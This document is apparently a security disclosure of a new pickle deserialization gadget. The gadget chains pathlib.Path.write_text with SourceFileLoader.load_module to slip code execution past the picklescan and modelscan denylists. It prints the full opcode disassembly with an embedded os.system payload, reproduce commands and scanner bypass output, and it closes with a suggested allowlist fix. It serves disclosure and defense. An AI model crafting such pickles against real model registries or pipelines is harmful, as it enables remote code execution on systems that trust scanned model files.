# NEW pickle RCE gadget: `pathlib.Path.write_text` + `importlib.machinery.SourceFileLoader.load_module` **Category:** Pickle deserialization RCE / model-scanner denylist bypass (new, unlisted GLOBAL gadget) **Runtime verified:** CPython **3.13.12**; via `pickle.load` and `joblib.load` (joblib **1.5.2**) **Scanners bypassed:** picklescan **1.0.5**, modelscan **0.8.8** (both report the file as not-infected / no-issues) ## Summary picklescan (1.0.5) and modelscan (0.8.8) are **opcode-denylist scanners**: they walk the `GLOBAL` / `STACK_GLOBAL (module, name)` pairs in a pickle stream and match them against a hardcoded list of unsafe callables. This gadget is **self-contained** and references only two callables that appear in **neither** denylist: 1. **`pathlib.Path.write_text`** — the pickle uses it to write its own payload `.py` module to disk. The payload source (containing `import os` / `os.system(...)`) rides through the stream as a **SHORT_BINUNICODE string constant** that becomes the file's content — it is never a `GLOBAL` opcode, so no scanner ever sees `os` / `system`. 2. **`importlib.machinery.SourceFileLoader.load_module`** — imports + executes that file on disk, reaching arbitrary code execution. Both callables are **always-present stdlib** (no optional package dependency). An equivalent variant is `importlib.util.spec_from_file_location` + `module_from_spec` + `exec_module`. ## Root cause (verified by dumping both denylists) Neither `pathlib` nor `importlib.machinery` (nor `SourceFileLoader`) is present in either scanner's unsafe-global list. Dumped live from the installed packages: ``` # picklescan 1.0.5 — picklescan.scanner._unsafe_globals (dict, keyed by module) picklescan _unsafe_globals type: dict pathlib present: False importlib present: False SourceFileLoader present: False modules listed: ['__builtin__', '_aix_support', '_io', '_operator', '_osx_support', '_pickle', '_pyrepl', 'aiohttp', 'asyncio', 'bdb', 'builtins', 'cProfile', 'cloudpickle.cloudpickle', 'code', 'commands', 'ctypes', 'distutils.file_util', 'doctest', 'ensurepip', 'functools', 'httplib', 'idlelib.*', 'imaplib', 'lib2to3.*', 'logging', 'nt', 'numpy.f2py', 'operator', 'os', 'pdb', 'pickle', 'pip', 'pkgutil', 'posix', 'profile', 'pty', 'pydoc', 'requests.api', 'runpy', 'shutil', 'socket', 'ssl', 'subprocess', 'sys', 'test', 'timeit', 'torch.*', 'trace', 'types', 'urllib.request', 'uuid', 'venv', 'webbrowser'] # modelscan 0.8.8 — modelscan.settings.DEFAULT_SETTINGS (CRITICAL/HIGH/MEDIUM/LOW) modelscan pathlib present: False modelscan importlib present: False modelscan SourceFileLoader present: False ``` Because the denylist only enumerates `os`, `posix`, `subprocess`, `runpy`, `builtins`, etc., a file-write-then-source-load chain through `pathlib` + `importlib.machinery` slips past both. ## Opcode flow (protocol 4, `STACK_GLOBAL` with dotted qualnames) ``` write_text = STACK_GLOBAL pathlib "Path.write_text" pathobj = REDUCE(STACK_GLOBAL pathlib "Path", (PYPATH,)) _ = REDUCE(write_text, (pathobj, PAYLOAD_SRC)); POP # writes _evilmod.py load_module= STACK_GLOBAL importlib.machinery "SourceFileLoader.load_module" loader = REDUCE(STACK_GLOBAL importlib.machinery "SourceFileLoader", ("evilmod", PYPATH)) REDUCE(load_module, (loader,)) # -> imports+executes the written module -> RCE STOP ``` `Unpickler.find_class` resolves the dotted qualnames (`Path.write_text`, `SourceFileLoader.load_module`) via attribute traversal, yielding the **unbound functions**, which `REDUCE` then invokes with an explicit `self` (the `Path` / `SourceFileLoader` instance). Verbatim `pickletools.dis` of the 555-byte `evil.pkl`: ``` 0: \x80 PROTO 4 2: \x8c SHORT_BINUNICODE 'pathlib' 11: \x8c SHORT_BINUNICODE 'Path.write_text' 28: \x93 STACK_GLOBAL 29: \x8c SHORT_BINUNICODE 'pathlib' 38: \x8c SHORT_BINUNICODE 'Path' 44: \x93 STACK_GLOBAL 45: \x8c SHORT_BINUNICODE '/.../_evilmod.py' 118: \x85 TUPLE1 119: R REDUCE 120: \x8c SHORT_BINUNICODE "import os\nos.system('id > .../PWNED_sourcefileloader ...')\n" 373: \x86 TUPLE2 374: R REDUCE 375: 0 POP 376: \x8c SHORT_BINUNICODE 'importlib.machinery' 397: \x8c SHORT_BINUNICODE 'SourceFileLoader.load_module' 427: \x93 STACK_GLOBAL 428: \x8c SHORT_BINUNICODE 'importlib.machinery' 449: \x8c SHORT_BINUNICODE 'SourceFileLoader' 467: \x93 STACK_GLOBAL 468: \x8c SHORT_BINUNICODE 'evilmod' 477: \x8c SHORT_BINUNICODE '/.../_evilmod.py' 550: \x86 TUPLE2 551: R REDUCE 552: \x85 TUPLE1 553: R REDUCE 554: . STOP highest protocol among opcodes = 4 ``` ## Reproduce ``` python3 gen_poc.py # builds evil.pkl / evil.joblib + control_os.pkl python3 -c "import pickle; pickle.load(open('evil.pkl','rb'))" # -> writes PWNED_sourcefileloader scan_verify/bin/python -m picklescan -p evil.pkl # picklescan 1.0.5, py3.13 -> Infected 0 (CLEAN) scan312/bin/modelscan -p evil.pkl # modelscan 0.8.8, py3.12 -> "No issues found!" ``` `gen_poc.py`, `evil.pkl` (555 bytes), `evil.joblib`, `control_os.pkl`, and `_evilmod.py` (the payload module written at unpickle time) are included in this repo. ## Verified captured evidence (verbatim) ### EXECUTE — `pickle.load` on CPython 3.13.12, and `joblib.load` 1.5.2 (identical marker) Contents of `PWNED_sourcefileloader` after each load: ``` uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin) importlib_sourcefileloader_gadget_executed ``` ### PICKLESCAN 1.0.5 (py3.13) — `evil.pkl` → CLEAN ``` ----------- SCAN SUMMARY ----------- Scanned files: 1 Infected files: 0 Suspicious globals: 4 Dangerous globals: 0 ``` (exit=0 — CLEAN; "suspicious" is non-blocking, the verdict is *not infected*.) ### MODELSCAN 0.8.8 (py3.12) — `evil.pkl` AND `evil.joblib` → CLEAN ``` Scanning evil.pkl using modelscan.scanners.PickleUnsafeOpScan model scan --- Summary --- No issues found! 🎉 ``` (exit=0 for both files.) ### NEGATIVE CONTROL — `control_os.pkl` (`posix.system` reduce) → both scanners flag it picklescan: ``` control_os.pkl: dangerous import 'posix system' FOUND Infected files: 1 Dangerous globals: 1 ``` modelscan: ``` Total Issues: 1 - CRITICAL: 1 Unsafe operator found: - Description: Use of unsafe operator 'system' from module 'posix' ``` Both scanners correctly flag the control (exit=1 for modelscan), proving the detection pipeline works and that the clean verdict on `evil.pkl` is a genuine bypass, not a broken run. ## Impact A malicious `.pkl` / `.joblib` (or any pickle-backed model artifact — e.g. joblib/sklearn, numpy `allow_pickle`, torch legacy) that passes a picklescan- or modelscan-based CI/registry gate as clean, yet achieves arbitrary command execution the moment it is deserialized. Both scanners are widely deployed as the "safety check" in front of model hubs and MLOps pipelines, so the bypass defeats the primary automated defense for untrusted model files. ## Suggested fix Denylists cannot enumerate every dangerous stdlib callable. `pathlib.Path.write_text` / `write_bytes`, `importlib.machinery.SourceFileLoader` / `SourcelessFileLoader`, `importlib.util.spec_from_file_location` / `module_from_spec` / `exec_module`, and `importlib.import_module` are all file-write / import primitives that must be treated as unsafe. More robustly, prefer an **allowlist** of known-safe globals (as `weights_only`-style loading does) rather than a denylist. ## Dedup / prior-art note - Distinct from classic `os.system` / `posix.system` / `subprocess` / `builtins.eval` / `builtins.exec` reduces — those modules **are** in both denylists and are flagged (see the negative control). - Distinct from prior `nt`/`runpy`/`pydoc`/`webbrowser` gadgets already in picklescan's list. - Distinct from other gadgets in sibling PoCs (logging.config, typing.get_type_hints, marshal+FunctionType, doctest, codeop, dataclasses, code.InteractiveInterpreter, pydoc.pipepager, spawnv, getattr_static): those use different unlisted callables. This one is the `pathlib.write_text` + `importlib.machinery.SourceFileLoader.load_module` **write-then-source-load** chain, in which the code-exec primitive (`os.system`) never appears as a GLOBAL at all — it is carried purely as a string constant. - No CVE currently assigned to `pathlib`/`importlib.machinery` as a picklescan/modelscan bypass gadget as of the test date (2026-07-16).